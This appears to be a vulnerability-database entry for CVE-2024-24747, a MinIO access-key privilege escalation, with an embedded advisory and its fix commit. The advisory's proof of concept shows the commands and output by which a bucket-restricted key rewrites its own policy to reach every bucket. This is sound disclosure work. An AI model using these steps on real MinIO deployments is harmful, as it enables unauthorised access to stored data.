CVE-2024-24747
highpriority · attend · 57OT risk · highEPSS 0.341 · 98 %ileexploit · PoCEURUUSEPSS · scored 2026-10-26
MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
exploits (1)
Public proof-of-concept and weaponised exploit code.
- EDB-51976MinIO < 2024-01-31T20-20-33Z - Privilege EscalationPoC · exploit_db
affected products (6)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-xx8w-mq23-29g4Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation2024-02-01ghsa · osvUS
### Summary When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. Credit to @xSke for sort of accidentally discovering this. I only understood the implications. ### Details / PoC We spun up the latest version of minio in a docker container and signed in to the admin UI using the minio root user. We created two buckets, `public` and `private` and created an access key called `mycat` and attached the following policy to only allow access to the bucket called `public`. ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::public", "arn:aws:s3:::public/*" ] } ] } ``` We then set an alias in mc: `mcli alias set vuln http://localhost:9001 mycat mycatiscute` And checked whether policy works: ``` A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B public/ ``` Looks good, we believe this is how 99% of users will work with access policies. If I now create a file `full-access-policy.json`: ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::*" ] } ] } ``` And then: ```sh A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat Edited service account `mycat` successfully. ``` `mycat` has escalated its privileges to get access to the entire deployment: ```sh A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B private/ [0001-01-01 00:53:28 LMT] 0B public/ ``` ### Impact A trivial privilege escalation unless the operator fully understands that they need to explicitly deny `admin` actions on access keys. ### Patched ``` commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master) Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Jan 31 10:56:45 2024 -0800 fix: permission checks for editing access keys (#18928) With this change, only a user with `UpdateServiceAccountAdminAction` permission is able to edit access keys. We would like to let a user edit their own access keys, however the feature needs to be re-designed for better security and integration with external systems like AD/LDAP and OpenID. This change prevents privilege escalation via service accounts. ```
- GO-2024-2499Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation in github.com/minio/minio2024-06-28vendor · osvUS
Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation in github.com/minio/minio
also known as (7)
Other names and identifiers for this entity.
- CNNVD-202401-2721cnnvd
- EUVD-2024-0775enisa_euvd
- BDU:2024-01131fstec_bdu
- GHSA-xx8w-mq23-29g4enisa_euvd
- BIT-minio-2024-24747osv
- GHSA-xx8w-mq23-29g4osv
- GO-2024-2499osv
sources
Which sources assert this record, and when.
references (12)
External citations — patches, advisories, analysis.
- https://cxsecurity.com/cveshow/CVE-2024-24747/cnnvd
- https://cxsecurity.com/issue/WLB-2024040030cnnvd
- https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776cnnvd
- https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Zcnnvd
- https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4cnnvd
- https://www.exploit-db.com/exploits/51976cnnvd
- https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776enisa_euvd
- https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Zenisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan